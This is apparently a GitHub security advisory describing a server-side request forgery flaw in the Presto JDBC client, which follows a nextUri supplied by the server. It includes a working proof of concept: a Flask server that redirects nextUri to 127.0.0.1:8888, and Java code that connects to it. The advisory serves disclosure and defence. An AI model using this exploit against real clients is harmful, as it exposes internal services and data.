Skip to content

Presto JDBC SSRF by nextUri

High
tdcmeehan published GHSA-86q5-qcjc-7pv4 Oct 3, 2023

Package

maven com.facebook.presto:presto-jdbc (Maven)

Affected versions

<= 0.283

Patched versions

None

Description

Summary

Presto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can modify the nextUri parameter to internal server in response content that Presto JDBC client will request next and view sensitive information from highly sensitive internal servers or perform a local port scan.

Details

The Presto protocol has a nextUri parameter that specifies which URI the client will request next to obtain more query data. Presto JDBC will directly use the nextUri returned by the remote Presto server as the URL for the next request. So if a malicious server modify the nextUri parameter to the internal server, JDBC will request it and cause SSRF.

For unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.

The relevant code is in file path /presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java and function advance .

The flowchart is as follows:

presto_jdbc_ssrf_2.png

PoC

Running an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:

from flask import Flask, Response

app = Flask(__name__)

@app.route('/v1/statement', methods=['POST'])
def next_uri_to_interal_server():
    data = '{"id":"test_id","infoUri":"whatever","nextUri":"http://127.0.0.1:8888","stats":{"state":"QUEUED","queued":true,"scheduled":false,"nodes":0,"totalSplits":0,"queuedSplits":0,"runningSplits":0,"completedSplits":0,"cpuTimeMillis":0,"wallTimeMillis":0,"queuedTimeMillis":0,"elapsedTimeMillis":0,"processedRows":0,"processedBytes":0,"peakMemoryBytes":0,"peakTotalMemoryBytes":0,"peakTaskTotalMemoryBytes":0,"spilledBytes":0},"warnings":[]}'
    return Response(data, content_type='application/json; charset=utf-8', status=200)

if __name__ == '__main__':
    app.run(host="0.0.0.0",port=8000)

Connecting to the malicious server using JDBC:

String url = "jdbc:presto://<ip>:<port>";
Properties properties = new Properties();
properties.setProperty("user", "root");
try {
    Connection connection = DriverManager.getConnection(url, properties);
    Statement stmt = connection.createStatement();
    ResultSet res = stmt.executeQuery("show catalogs");
    while(res.next()) {
        System.out.println(res.getString(1));
    }
} catch (Exception e) {
    e.printStackTrace();
}

Pwned!

Impact

When the target remote Presto server to be connected is controllable, an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan.

Vulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

CVE ID

No known CVE

Weaknesses